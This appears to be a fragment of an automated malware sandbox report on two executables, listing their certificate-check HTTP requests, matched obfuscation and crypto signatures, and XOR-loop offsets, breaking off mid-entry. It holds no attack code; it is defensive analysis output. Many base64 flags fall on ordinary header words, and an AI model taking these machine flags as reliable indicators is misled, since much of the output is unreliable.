Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/oBFYYahzgVI" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/75r4ZyA3vA0" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "/wr2/9UVbN0w5E6Y" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/we1/pl4XiTjSDSk" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/we1/G0k" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we1/x6Eg-8TSwUw.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we1/x6Eg-8TSwUw.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we1/x6Eg-8TSwUw.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /rootg2.cer HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crt.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /rootg2.cer HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crt.rootg2.amazontrust.com" Contains base64 string in header "/rootca1" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /rootca1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /rootg2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /rootg2.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.rootg2.amazontrust.com" Contains base64 string in header "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "2BsKuKwH5CO65xMY" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /r2m04.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m04.amazontrust.com" Contains base64 string in header "User" in header "GET /r2m04.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crl.r2m04.amazontrust.com" Contains base64 string in header "/wr2/oQ6nyr8F0m0" in header "GET /wr2/oQ6nyr8F0m0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/oQ6nyr8F0m0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/oQ6nyr8F0m0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/oQ6nyr8F0m0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/oBFYYahzgVI" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 13:19:38 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 13:19:38 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 13:19:38 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 13:19:38 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 13:19:38 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/75r4ZyA3vA0" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 12:32:48 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 12:32:48 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 12:32:48 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 12:32:48 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 12:32:48 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/9UVbN0w5E6Y" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 11:07:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 11:07:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 11:07:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 11:07:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 14 Sep 2026 11:07:31 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 31 Aug 2026 08:08:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 31 Aug 2026 08:08:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 31 Aug 2026 08:08:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 31 Aug 2026 08:08:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog"2f:T437,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains CRYPTO related strings Matched sigs: Decrypted SSL network traffic Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]30:T4195,Found XOR loop in file "Px7mP64.exe" at offset 202788; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 206076; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 259270; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 300818; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 323218; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 345001; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 525799; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 548103; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 638486; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 668065; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 790495; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 817607; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 908714; code bytes = 30d0 Found XOR loop in file "Px7mP64.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 195710; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 205867; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 241076; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 339317; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 387573; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 395617; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 438080; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 534139; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 534594; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 599771; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 657471; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 702971; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 862867; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 913872; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 939449; code bytes = 33c1 Found XOR loop in file "Px7mP64.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "Px7mP64.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "Px7mP64.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "Px7mP64.exe" at offset 146631; code bytes = 8030 Found XOR loop in file "Px7mP64.exe" at offset 233258; code bytes = 8030 Found XOR loop in file "Px7mP64.exe" at offset 278282; code bytes = 8030 Found XOR loop in file "Px7mP64.exe" at offset 476919; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 72323; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 122082; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 376916; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 376937; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 691258; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 887915; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 888929; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 891921; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 900833; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 913601; code bytes = 30d0 Found XOR loop in file "3Wl168Kl.exe" at offset 130790; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 140043; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 140172; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 351053; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 463773; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 463848; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 597022; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 701978; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 709317; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 709765; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 710341; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 710789; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 895349; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 905289; code bytes = 33c1 Found XOR loop in file "3Wl168Kl.exe" at offset 1330; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 1959; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 232120; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 356589; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 674772; code bytes = 8030 Found XOR loop in file "3Wl168Kl.exe" at offset 687130; code 